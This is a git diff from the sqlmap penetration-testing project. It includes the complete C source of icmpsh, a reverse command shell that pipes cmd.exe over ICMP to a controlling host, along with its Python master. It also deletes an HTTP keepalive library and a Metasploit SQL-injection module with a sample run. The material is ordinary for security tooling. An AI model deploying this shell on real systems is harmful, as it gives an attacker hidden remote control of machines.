= sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError()); - } - break; - } - - // send request/receive response - if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) { - if (status == STATUS_OK) { - // write data from response back into pipe - WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0); - } - blanks = 0; - } else { - // no reply received or error occured - blanks++; - } - - // wait between requests - Sleep(delay); - - } while (status == STATUS_OK && blanks < max_blanks); - - if (status == STATUS_OK) { - TerminateProcess(pi.hProcess, 0); - } - - return 0; -} - +/* + * icmpsh - simple icmp command shell + * Copyright (c) 2010, Nico Leidecker <nico@leidecker.info> + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see <http://www.gnu.org/licenses/>. + */ + + +#include <stdio.h> +#include <stdlib.h> +#include <winsock2.h> +#include <windows.h> +#include <winsock2.h> +#include <iphlpapi.h> + +#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8) + +#define STATUS_OK 0 +#define STATUS_SINGLE 1 +#define STATUS_PROCESS_NOT_CREATED 2 + +#define TRANSFER_SUCCESS 1 +#define TRANSFER_FAILURE 0 + +#define DEFAULT_TIMEOUT 3000 +#define DEFAULT_DELAY 200 +#define DEFAULT_MAX_BLANKS 10 +#define DEFAULT_MAX_DATA_SIZE 64 + +FARPROC icmp_create, icmp_send, to_ip; + +int verbose = 0; + +int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write) +{ + SECURITY_ATTRIBUTES sattr; + STARTUPINFOA si; + HANDLE in_read, out_write; + + memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES)); + memset(pi, 0x00, sizeof(PROCESS_INFORMATION)); + + // create communication pipes + memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES)); + sattr.nLength = sizeof(SECURITY_ATTRIBUTES); + sattr.bInheritHandle = TRUE; + sattr.lpSecurityDescriptor = NULL; + + if (!CreatePipe(out_read, &out_write, &sattr, 0)) { + return STATUS_PROCESS_NOT_CREATED; + } + if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) { + return STATUS_PROCESS_NOT_CREATED; + } + + if (!CreatePipe(&in_read, in_write, &sattr, 0)) { + return STATUS_PROCESS_NOT_CREATED; + } + if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) { + return STATUS_PROCESS_NOT_CREATED; + } + + // spawn process + memset(&si, 0x00, sizeof(STARTUPINFO)); + si.cb = sizeof(STARTUPINFO); + si.hStdError = out_write; + si.hStdOutput = out_write; + si.hStdInput = in_read; + si.dwFlags |= STARTF_USESTDHANDLES; + + if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) { + return STATUS_PROCESS_NOT_CREATED; + } + + CloseHandle(out_write); + CloseHandle(in_read); + + return STATUS_OK; +} + +void usage(char *path) +{ + printf("%s [options] -t target\n", path); + printf("options:\n"); + printf(" -t host host ip address to send ping requests to\n"); + printf(" -r send a single test icmp request and then quit\n"); + printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY); + printf(" -o milliseconds timeout in milliseconds\n"); + printf(" -h this screen\n"); + printf(" -b num maximal number of blanks (unanswered icmp requests)\n"); + printf(" before quitting\n"); + printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE); + printf("In order to improve the speed, lower the delay (-d) between requests or\n"); + printf("increase the size (-s) of the data buffer\n"); +} + +void create_icmp_channel(HANDLE *icmp_chan) +{ + // create icmp file + *icmp_chan = (HANDLE) icmp_create(); +} + +int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout) +{ + int rs; + char *temp_in_buf; + int nbytes; + + PICMP_ECHO_REPLY echo_reply; + + temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE); + if (!temp_in_buf) { + return TRANSFER_FAILURE; + } + + // send data to remote host + rs = icmp_send( + icmp_chan, + target, + out_buf, + out_buf_size, + NULL, + temp_in_buf, + max_in_data_size + ICMP_HEADERS_SIZE, + timeout); + + // check received data + if (rs > 0) { + echo_reply = (PICMP_ECHO_REPLY) temp_in_buf; + if (echo_reply->DataSize > max_in_data_size) { + nbytes = max_in_data_size; + } else { + nbytes = echo_reply->DataSize; + } + memcpy(in_buf, echo_reply->Data, nbytes); + *in_buf_size = nbytes; + + free(temp_in_buf); + return TRANSFER_SUCCESS; + } + + free(temp_in_buf); + + return TRANSFER_FAILURE; +} + +int load_deps() +{ + HMODULE lib; + + lib = LoadLibraryA("ws2_32.dll"); + if (lib != NULL) { + to_ip = GetProcAddress(lib, "inet_addr"); + if (!to_ip) { + return 0; + } + } + + lib = LoadLibraryA("iphlpapi.dll"); + if (lib != NULL) { + icmp_create = GetProcAddress(lib, "IcmpCreateFile"); + icmp_send = GetProcAddress(lib, "IcmpSendEcho"); + if (icmp_create && icmp_send) { + return 1; + } + } + + lib = LoadLibraryA("ICMP.DLL"); + if (lib != NULL) { + icmp_create = GetProcAddress(lib, "IcmpCreateFile"); + icmp_send = GetProcAddress(lib, "IcmpSendEcho"); + if (icmp_create && icmp_send) { + return 1; + } + } + + printf("failed to load functions (%u)", GetLastError()); + + return 0; +} +int main(int argc, char **argv) +{ + int opt; + char *target; + unsigned int delay, timeout; + unsigned int ip_addr; + HANDLE pipe_read, pipe_write; + HANDLE icmp_chan; + unsigned char *in_buf, *out_buf; + unsigned int in_buf_size, out_buf_size; + DWORD rs; + int blanks, max_blanks; + PROCESS_INFORMATION pi; + int status; + unsigned int max_data_size; + + // set defaults + target = 0; + timeout = DEFAULT_TIMEOUT; + delay = DEFAULT_DELAY; + max_blanks = DEFAULT_MAX_BLANKS; + max_data_size = DEFAULT_MAX_DATA_SIZE; + + status = STATUS_OK; + if (!load_deps()) { + printf("failed to load ICMP library\n"); + return -1; + } + + // parse command line options + for (opt = 1; opt < argc; opt++) { + if (argv[opt][0] == '-') { + switch(argv[opt][1]) { + case 'h': + usage(*argv); + return 0; + case 't': + if (opt + 1 < argc) { + target = argv[opt + 1]; + } + break; + case 'd': + if (opt + 1 < argc) { + delay = atol(argv[opt + 1]); + } + break; + case 'o': + if (opt + 1 < argc) { + timeout = atol(argv[opt + 1]); + } + break; + case 'r': + status = STATUS_SINGLE; + break; + case 'b': + if (opt + 1 < argc) { + max_blanks = atol(argv[opt + 1]); + } + break; + case 's': + if (opt + 1 < argc) { + max_data_size = atol(argv[opt + 1]); + } + break; + default: + printf("unrecognized option -%c\n", argv[1][0]); + usage(*argv); + return -1; + } + } + } + + if (!target) { + printf("you need to specify a host with -t. Try -h for more options\n"); + return -1; + } + ip_addr = to_ip(target); + + // don't spawn a shell if we're only sending a single test request + if (status != STATUS_SINGLE) { + status = spawn_shell(&pi, &pipe_read, &pipe_write); + } + + // create icmp channel + create_icmp_channel(&icmp_chan); + if (icmp_chan == INVALID_HANDLE_VALUE) { + printf("unable to create ICMP file: %u\n", GetLastError()); + return -1; + } + + // allocate transfer buffers + in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); + out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); + if (!in_buf || !out_buf) { + printf("failed to allocate memory for transfer buffers\n"); + return -1; + } + memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); + memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); + + // sending/receiving loop + blanks = 0; + do { + + switch(status) { + case STATUS_SINGLE: + // reply with a static string + out_buf_size = sprintf(out_buf, "Test1234\n"); + break; + case STATUS_PROCESS_NOT_CREATED: + // reply with error message + out_buf_size = sprintf(out_buf, "Process was not created\n"); + break; + default: + // read data from process via pipe + out_buf_size = 0; + if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) { + if (out_buf_size > 0) { + out_buf_size = 0; + rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL); + if (!rs && GetLastError() != ERROR_IO_PENDING) { + out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError()); + } + } + } else { + out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError()); + } + break; + } + + // send request/receive response + if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) { + if (status == STATUS_OK) { + // write data from response back into pipe + WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0); + } + blanks = 0; + } else { + // no reply received or error occured + blanks++; + } + + // wait between requests + Sleep(delay); + + } while (status == STATUS_OK && blanks < max_blanks); + + if (status == STATUS_OK) { + TerminateProcess(pi.hProcess, 0); + } + + return 0; +} + diff --git a/extra/icmpsh/icmpsh.exe b/extra/icmpsh/icmpsh.exe deleted file mode 100755 index 03c864ab92a..00000000000 Binary files a/extra/icmpsh/icmpsh.exe and /dev/null differ diff --git a/extra/icmpsh/icmpsh.exe_ b/extra/icmpsh/icmpsh.exe_ new file mode 100644 index 00000000000..46a2115cc44 Binary files /dev/null and b/extra/icmpsh/icmpsh.exe_ differ diff --git a/extra/icmpsh/icmpsh_m.py b/extra/icmpsh/icmpsh_m.py old mode 100755 new mode 100644 index 36fe44982ec..17370fdc001 --- a/extra/icmpsh/icmpsh_m.py +++ b/extra/icmpsh/icmpsh_m.py @@ -22,7 +22,6 @@ import os import select import socket -import subprocess import sys def setNonBlocking(fd): @@ -37,7 +36,7 @@ def setNonBlocking(fd): fcntl.fcntl(fd, fcntl.F_SETFL, flags) def main(src, dst): - if subprocess.mswindows: + if sys.platform == "nt": sys.stderr.write('icmpsh master can only run on Posix systems\n') sys.exit(255) @@ -76,57 +75,64 @@ def main(src, dst): # Instantiate an IP packets decoder decoder = ImpactDecoder.IPDecoder() - while 1: - cmd = '' - - # Wait for incoming replies - if sock in select.select([ sock ], [], [])[0]: - buff = sock.recv(4096) - - if 0 == len(buff): - # Socket remotely closed - sock.close() - sys.exit(0) - - # Packet received; decode and display it - ippacket = decoder.decode(buff) - icmppacket = ippacket.child() - - # If the packet matches, report it to the user - if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type(): - # Get identifier and sequence number - ident = icmppacket.get_icmp_id() - seq_id = icmppacket.get_icmp_seq() - data = icmppacket.get_data_as_string() - - if len(data) > 0: - sys.stdout.write(data) - - # Parse command from standard input - try: - cmd = sys.stdin.readline() - except: - pass - - if cmd == 'exit\n': - return - - # Set sequence number and identifier - icmp.set_icmp_id(ident) - icmp.set_icmp_seq(seq_id) - - # Include the command as data inside the ICMP packet - icmp.contains(ImpactPacket.Data(cmd)) - - # Calculate its checksum - icmp.set_icmp_cksum(0) - icmp.auto_checksum = 1 - - # Have the IP packet contain the ICMP packet (along with its payload) - ip.contains(icmp) - - # Send it to the target host - sock.sendto(ip.get_packet(), (dst, 0)) + while True: + try: + cmd = '' + + # Wait for incoming replies + if sock in select.select([sock], [], [])[0]: + buff = sock.recv(4096) + + if 0 == len(buff): + # Socket remotely closed + sock.close() + sys.exit(0) + + # Packet received; decode and display it + ippacket = decoder.decode(buff) + icmppacket = ippacket.child() + + # If the packet matches, report it to the user + if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type(): + # Get identifier and sequence number + ident = icmppacket.get_icmp_id() + seq_id = icmppacket.get_icmp_seq() + data = icmppacket.get_data_as_string() + + if len(data) > 0: + sys.stdout.write(data) + + # Parse command from standard input + try: + cmd = sys.stdin.readline() + except: + pass + + if cmd == 'exit\n': + return + + # Set sequence number and identifier + icmp.set_icmp_id(ident) + icmp.set_icmp_seq(seq_id) + + # Include the command as data inside the ICMP packet + icmp.contains(ImpactPacket.Data(cmd)) + + # Calculate its checksum + icmp.set_icmp_cksum(0) + icmp.auto_checksum = 1 + + # Have the IP packet contain the ICMP packet (along with its payload) + ip.contains(icmp) + + try: + # Send it to the target host + sock.sendto(ip.get_packet(), (dst, 0)) + except socket.error as ex: + sys.stderr.write("'%s'\n" % ex) + sys.stderr.flush() + except: + break if __name__ == '__main__': if len(sys.argv) < 3: diff --git a/extra/keepalive/keepalive.py b/extra/keepalive/keepalive.py deleted file mode 100644 index 867f7f0c176..00000000000 --- a/extra/keepalive/keepalive.py +++ /dev/null @@ -1,464 +0,0 @@ -#!/usr/bin/env python -# -# Copyright 2002-2003 Michael D. Stenner -# -# This program is free software: you can redistribute it and/or modify it -# under the terms of the GNU Lesser General Public License as published -# by the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public License -# along with this program. If not, see <http://www.gnu.org/licenses/>. -# - -"""An HTTP handler for urllib2 that supports HTTP 1.1 and keepalive. - - import urllib2 - from keepalive import HTTPHandler - keepalive_handler = HTTPHandler() - opener = urllib2.build_opener(keepalive_handler) - urllib2.install_opener(opener) - - fo = urllib2.urlopen('http://www.python.org') - -To remove the handler, simply re-run build_opener with no arguments, and -install that opener. - -You can explicitly close connections by using the close_connection() -method of the returned file-like object (described below) or you can -use the handler methods: - - close_connection(host) - close_all() - open_connections() - -Example: - - keepalive_handler.close_all() - -EXTRA ATTRIBUTES AND METHODS - - Upon a status of 200, the object returned has a few additional - attributes and methods, which should not be used if you want to - remain consistent with the normal urllib2-returned objects: - - close_connection() - close the connection to the host - readlines() - you know, readlines() - status - the return status (ie 404) - reason - english translation of status (ie 'File not found') - - If you want the best of both worlds, use this inside an - AttributeError-catching try: - - try: status = fo.status - except AttributeError: status = None - - Unfortunately, these are ONLY there if status == 200, so it's not - easy to distinguish between non-200 responses. The reason is that - urllib2 tries to do clever things with error codes 301, 302, 401, - and 407, and it wraps the object upon return. - - You can optionally set the module-level global HANDLE_ERRORS to 0, - in which case the handler will always return the object directly. - If you like the fancy handling of errors, don't do this. If you - prefer to see your error codes, then do. - -""" -from httplib import _CS_REQ_STARTED, _CS_REQ_SENT, _CS_IDLE, CannotSendHeader - -from lib.core.convert import unicodeencode -from lib.core.data import kb - -import threading -import urllib2 -import httplib -import socket - -VERSION = (0, 1) -#STRING_VERSION = '.'.join(map(str, VERSION)) -DEBUG = 0 -HANDLE_ERRORS = 1 - -class HTTPHandler(urllib2.HTTPHandler): - def __init__(self): - self._connections = {} - - def close_connection(self, host): - """close connection to <host> - host is the host:port spec, as in 'www.cnn.com:8080' as passed in. - no error occurs if there is no connection to that host.""" - self._remove_connection(host, close=1) - - def open_connections(self): - """return a list of connected hosts""" - retVal = [] - currentThread = threading.currentThread() - for name, host in self._connections.keys(): - if name == currentThread.getName(): - retVal.append(host) - return retVal - - def close_all(self): - """close all open connections""" - for _, conn in self._connections.items(): - conn.close() - self._connections = {} - - def _remove_connection(self, host, close=0): - key = self._get_connection_key(host) - if self._connections.has_key(key): - if close: self._connections[key].close() - del self._connections[key] - - def _get_connection_key(self, host): - return (threading.currentThread().getName(), host) - - def _start_connection(self, h, req): - h.clearheaders() - try: - if req.has_data(): - data = req.get_data() - h.putrequest('POST', req.get_selector()) - if not req.headers.has_key('Content-type'): - req.headers['Content-type'] = 'application/x-www-form-urlencoded' - if not req.headers.has_key('Content-length'): - req.headers['Content-length'] = '%d' % len(data) - else: - h.putrequest('GET', req.get_selector()) - - if not req.headers.has_key('Connection'): - req.headers['Connection'] = 'keep-alive' - - for args in self.parent.addheaders: - h.putheader(*args) - for k, v in req.headers.items(): - h.putheader(k, v) - h.endheaders() - if req.has_data(): - h.send(data) - except socket.error, err: - h.close() - raise urllib2.URLError(err) - - def do_open(self, http_class, req): - h = None - host = req.get_host() - if not host: - raise urllib2.URLError('no host given') - - try: - need_new_connection = 1 - key = self._get_connection_key(host) - h = self._connections.get(key) - if not h is None: - try: - self._start_connection(h, req) - except: - r = None - else: - try: r = h.getresponse() - except httplib.ResponseNotReady, e: r = None - except httplib.BadStatusLine, e: r = None - - if r is None or r.version == 9: - # httplib falls back to assuming HTTP 0.9 if it gets a - # bad header back. This is most likely to happen if - # the socket has been closed by the server since we - # last used the connection. - if DEBUG: print "failed to re-use connection to %s" % host - h.close() - else: - if DEBUG: print "re-using connection to %s" % host - need_new_connection = 0 - if need_new_connection: - if DEBUG: print "creating new connection to %s" % host - h = http_class(host) - self._connections[key] = h - self._start_connection(h, req) - r = h.getresponse() - except socket.error, err: - if h: h.close() - raise urllib2.URLError(err) - - # if not a persistent connection, don't try to reuse it - if r.will_close: self._remove_connection(host) - - if DEBUG: - print "STATUS: %s, %s" % (r.status, r.reason) - r._handler = self - r._host = host - r._url = req.get_full_url() - - #if r.status == 200 or not HANDLE_ERRORS: - #return r - if r.status == 200 or not HANDLE_ERRORS: - # [speedplane] Must return an adinfourl object - resp = urllib2.addinfourl(r, r.msg, req.get_full_url()) - resp.code = r.status - resp.msg = r.reason - return resp; - else: - r.code = r.status - return self.parent.error('http', req, r, r.status, r.reason, r.msg) - - def http_open(self, req): - return self.do_open(HTTPConnection, req) - -class HTTPResponse(httplib.HTTPResponse): - - # we need to subclass HTTPResponse in order to - # 1) add readline() and readlines() methods - # 2) add close_connection() methods - # 3) add info() and geturl() methods - - # in order to add readline(), read must be modified to deal with a - # buffer. example: readline must read a buffer and then spit back - # one line at a time. The only real alternative is to read one - # BYTE at a time (ick). Once something has been read, it can't be - # put back (ok, maybe it can, but that's even uglier than this), - # so if you THEN do a normal read, you must first take stuff from - # the buffer. - - # the read method wraps the original to accomodate buffering, - # although read() never adds to the buffer. - # Both readline and readlines have been stolen with almost no - # modification from socket.py - - - def __init__(self, sock, debuglevel=0, strict=0, method=None): - if method: # the httplib in python 2.3 uses the method arg - httplib.HTTPResponse.__init__(self, sock, debuglevel, method) - else: # 2.2 doesn't - httplib.HTTPResponse.__init__(self, sock, debuglevel) - self.fileno = sock.fileno - self._rbuf = '' - self._rbufsize = 8096 - self._handler = None # inserted by the handler later - self._host = None # (same) - self._url = None # (same) - - _raw_read = httplib.HTTPResponse.read - - def close_connection(self): - self.close() - self._handler._remove_connection(self._host, close=1) - - def info(self): - return self.msg - - def geturl(self): - return self._url - - def read(self, amt=None): - # the _rbuf test is only in this first if for speed. It's not - # logically necessary - if self._rbuf and not amt is None: - L = len(self._rbuf) - if amt > L: - amt -= L - else: - s = self._rbuf[:amt] - self._rbuf = self._rbuf[amt:] - return s - - s = self._rbuf + self._raw_read(amt) - self._rbuf = '' - return s - - def readline(self, limit=-1): - data = "" - i = self._rbuf.find('\n') - while i < 0 and not (0 < limit <= len(self._rbuf)): - new = self._raw_read(self._rbufsize) - if not new: break - i = new.find('\n') - if i >= 0: i = i + len(self._rbuf) - self._rbuf = self._rbuf + new - if i < 0: i = len(self._rbuf) - else: i = i+1 - if 0 <= limit < len(self._rbuf): i = limit - data, self._rbuf = self._rbuf[:i], self._rbuf[i:] - return data - - def readlines(self, sizehint = 0): - total = 0 - list = [] - while 1: - line = self.readline() - if not line: break - list.append(line) - total += len(line) - if sizehint and total >= sizehint: - break - return list - - -class HTTPConnection(httplib.HTTPConnection): - # use the modified response class - response_class = HTTPResponse - _headers = None - - def clearheaders(self): - self._headers = {} - - def putheader(self, header, value): - """Send a request header line to the server. - - For example: h.putheader('Accept', 'text/html') - """ - if self.__state != _CS_REQ_STARTED: - raise CannotSendHeader() - - self._headers[header] = value - - def endheaders(self): - """Indicate that the last header line has been sent to the server.""" - - if self.__state == _CS_REQ_STARTED: - self.__state = _CS_REQ_SENT - else: - raise CannotSendHeader() - - for header in ['Host', 'Accept-Encoding']: - if header in self._headers: - str = '%s: %s' % (header, self._headers[header]) - self._output(str) - del self._headers[header] - - for header, value in self._headers.items(): - str = '%s: %s' % (header, value) - self._output(str) - - self._send_output() - - def send(self, str): - httplib.HTTPConnection.send(self, unicodeencode(str, kb.pageEncoding)) - -######################################################################### -##### TEST FUNCTIONS -######################################################################### - -def error_handler(url): - global HANDLE_ERRORS - orig = HANDLE_ERRORS - keepalive_handler = HTTPHandler() - opener = urllib2.build_opener(keepalive_handler) - urllib2.install_opener(opener) - pos = {0: 'off', 1: 'on'} - for i in (0, 1): - print " fancy error handling %s (HANDLE_ERRORS = %i)" % (pos[i], i) - HANDLE_ERRORS = i - try: - fo = urllib2.urlopen(url) - foo = fo.read() - fo.close() - try: status, reason = fo.status, fo.reason - except AttributeError: status, reason = None, None - except IOError, e: - print " EXCEPTION: %s" % e - raise - else: - print " status = %s, reason = %s" % (status, reason) - HANDLE_ERRORS = orig - hosts = keepalive_handler.open_connections() - print "open connections:", ' '.join(hosts) - keepalive_handler.close_all() - -def continuity(url): - import md5 - format = '%25s: %s' - - # first fetch the file with the normal http handler - opener = urllib2.build_opener() - urllib2.install_opener(opener) - fo = urllib2.urlopen(url) - foo = fo.read() - fo.close() - m = md5.new(foo) - print format % ('normal urllib', m.hexdigest()) - - # now install the keepalive handler and try again - opener = urllib2.build_opener(HTTPHandler()) - urllib2.install_opener(opener) - - fo = urllib2.urlopen(url) - foo = fo.read() - fo.close() - m = md5.new(foo) - print format % ('keepalive read', m.hexdigest()) - - fo = urllib2.urlopen(url) - foo = '' - while 1: - f = fo.readline() - if f: foo = foo + f - else: break - fo.close() - m = md5.new(foo) - print format % ('keepalive readline', m.hexdigest()) - -def comp(N, url): - print ' making %i connections to:\n %s' % (N, url) - - sys.stdout.write(' first using the normal urllib handlers') - # first use normal opener - opener = urllib2.build_opener() - urllib2.install_opener(opener) - t1 = fetch(N, url) - print ' TIME: %.3f s' % t1 - - sys.stdout.write(' now using the keepalive handler ') - # now install the keepalive handler and try again - opener = urllib2.build_opener(HTTPHandler()) - urllib2.install_opener(opener) - t2 = fetch(N, url) - print ' TIME: %.3f s' % t2 - print ' improvement factor: %.2f' % (t1/t2, ) - -def fetch(N, url, delay=0): - lens = [] - starttime = time.time() - for i in xrange(N): - if delay and i > 0: time.sleep(delay) - fo = urllib2.urlopen(url) - foo = fo.read() - fo.close() - lens.append(len(foo)) - diff = time.time() - starttime - - j = 0 - for i in lens[1:]: - j = j + 1 - if not i == lens[0]: - print "WARNING: inconsistent length on read %i: %i" % (j, i) - - return diff - -def test(url, N=10): - print "checking error hander (do this on a non-200)" - try: error_handler(url) - except IOError, e: - print "exiting - exception will prevent further tests" - sys.exit() - print - print "performing continuity test (making sure stuff isn't corrupted)" - continuity(url) - print - print "performing speed comparison" - comp(N, url) - -if __name__ == '__main__': - import time - import sys - try: - N = int(sys.argv[1]) - url = sys.argv[2] - except: - print "%s <integer> <url>" % sys.argv[0] - else: - test(url, N) diff --git a/extra/magic/__init__.py b/extra/magic/__init__.py deleted file mode 100644 index 236166b593c..00000000000 --- a/extra/magic/__init__.py +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env python - -pass diff --git a/extra/msfauxmod/README.txt b/extra/msfauxmod/README.txt deleted file mode 100644 index 6ca799015cc..00000000000 --- a/extra/msfauxmod/README.txt +++ /dev/null @@ -1,78 +0,0 @@ -To use Metasploit's sqlmap auxiliary module launch msfconsole and follow -the example below. - -Note that if you are willing to run Metasploit's sqlmap auxiliary module on -through WMAP framework you first need to install sqlmap on your system or -add its file system path to the PATH environment variable. - - -$ ./msfconsole - - _ _ _ _ - | | | | (_) | - _ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_ -| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __| -| | | | | | __/ || (_| \__ \ |_) | | (_) | | |_ -|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__| - | | - |_| - - - =[ msf v3.2-testing -+ -- --=[ 308 exploits - 173 payloads -+ -- --=[ 20 encoders - 6 nops - =[ 75 aux - -msf > use auxiliary/scanner/http/wmap_sqlmap -msf auxiliary(wmap_sqlmap) > set RHOSTS 192.168.1.121 -RHOSTS => 192.168.1.121 -msf auxiliary(wmap_sqlmap) > set PATH /sqlmap/mysql/get_int.php -PATH => /sqlmap/mysql/get_int.php -msf auxiliary(wmap_sqlmap) > set QUERY id=1 -QUERY => id=1 -msf auxiliary(wmap_sqlmap) > set OPTS '--dbs --current-user' -OPTS => --dbs --current-user -msf auxiliary(wmap_sqlmap) > set SQLMAP_PATH /home/inquis/software/sqlmap/trunk/sqlmap/sqlmap.py -msf auxiliary(wmap_sqlmap) > show options - -Module options: - - Name Current Setting Required Description - ---- --------------- -------- ----------- - BATCH true yes Never ask for user input, use the default behaviour - BODY no The data string to be sent through POST - METHOD GET yes HTTP Method - OPTS --dbs --current-user no The sqlmap options to use - PATH /sqlmap/mysql/get_int.php yes The path/file to test for SQL injection - Proxies no Use a proxy chain - QUERY id=1 no HTTP GET query - RHOSTS 192.168.1.121 yes The target address range or CIDR identifier - RPORT 80 yes The target port - SQLMAP_PATH /home/inquis/software/sqlmap/trunk/sqlmap/sqlmap.py yes The sqlmap >= 0.6.1 full path - SSL false no Use SSL - THREADS 1 yes The number of concurrent threads - VHOST no HTTP server virtual host - -msf auxiliary(wmap_sqlmap) > run -[*] exec: /home/inquis/software/sqlmap/trunk/sqlmap/sqlmap.py -u 'http://192.168.1.121:80//sqlmap/mysql/get_int.php?id=1' --method GET --dbs --current-user --batch -SQLMAP: -SQLMAP: sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com> -SQLMAP: and Daniele Bellucci <daniele.bellucci@gmail.com> -SQLMAP: -SQLMAP: [*] starting at: 16:23:19 -SQLMAP: -SQLMAP: [16:23:20] [WARNING] User-Agent parameter 'User-Agent' is not dynamic -SQLMAP: back-end DBMS: MySQL >= 5.0.0 -SQLMAP: -SQLMAP: current user: 'testuser@localhost' -SQLMAP: -SQLMAP: available databases [3]: -SQLMAP: [*] information_schema -SQLMAP: [*] mysql -SQLMAP: [*] test -SQLMAP: -SQLMAP: -SQLMAP: [*] shutting down at: 16:23:21 -SQLMAP: -[*] Auxiliary module execution completed -msf auxiliary(wmap_sqlmap) > diff --git a/extra/msfauxmod/sqlmap.rb b/extra/msfauxmod/sqlmap.rb deleted file mode 100644 index 38f8653a458..00000000000 --- a/extra/msfauxmod/sqlmap.rb +++ /dev/null @@ -1,105 +0,0 @@ -## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::WMAPScanUniqueQuery - include Msf::Auxiliary::Scanner - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'SQLMAP SQL Injection External Module', - 'Description' => %q{ - This module launch a sqlmap session. - sqlmap is an automatic SQL injection tool developed in Python. - Its goal is to detect and take advantage of SQL injection - vulnerabilities on web applications. Once it detects one - or more SQL injections on the target host, the user can - choose among a variety of options to perform an extensive - back-end database management system fingerprint, retrieve - DBMS session user and database, enumerate users, password - hashes, privileges, databases, dump entire or user - specific DBMS tables/columns, run his own SQL SELECT - statement, read specific files on the file system and much - more. - }, - 'Author' => [ 'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>' ], - 'License' => BSD_LICENSE, - 'Version' => '$Revision: 9212 $', - 'References' => - [ - ['URL', 'http://www.sqlmap.org'], - ] - )) - - register_options( - [ - OptString.new('METHOD', [ true, "HTTP Method", 'GET' ]), - OptString.new('PATH', [ true, "The path/file to test for SQL injection", 'index.php' ]), - OptString.new('QUERY', [ false, "HTTP GET query", 'id=1' ]), - OptString.new('DATA', [ false, "The data string to be sent through POST", '' ]), - OptString.new('OPTS', [ false, "The sqlmap options to use", ' ' ]), - OptPath.new('SQLMAP_PATH', [ true, "The sqlmap >= 0.6.1 full path ", '/sqlmap/sqlmap.py' ]), - OptBool.new('BATCH', [ true, "Never ask for user input, use the default behaviour", true ]) - ], self.class) - end - - # Modify to true if you have sqlmap installed. - def wmap_enabled - false - end - - # Test a single host - def run_host(ip) - - sqlmap = datastore['SQLMAP_PATH'] - - if not sqlmap - print_error("The sqlmap script could not be found") - return - end - - data = datastore['DATA'] - method = datastore['METHOD'].upcase - - sqlmap_url = (datastore['SSL'] ? "https" : "http") - sqlmap_url += "://" + wmap_target_host + ":" + wmap_target_port - sqlmap_url += "/" + datastore['PATH'] - - if method == "GET" - sqlmap_url += '?' + datastore['QUERY'] - end - - cmd = sqlmap + ' -u \'' + sqlmap_url + '\'' - cmd += ' --method ' + method - cmd += ' ' + datastore['OPTS'] - - if not data.empty? - cmd += ' --data \'' + data + '\'' - end - - if datastore['BATCH'] == true - cmd += ' --batch' - end - - print_status("exec: #{cmd}") - IO.popen( cmd ) do |io| - io.each_line do |line| - print_line("SQLMAP: " + line.strip) - end - end - end - -end - diff --git a/extra/mssqlsig/update.py b/extra/mssqlsig/update.py deleted file mode 100644 index 2b3a0fe40a1..00000000000 --- a/extra/mssqlsig/update.py +++ /dev/null @@ -1,139 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import 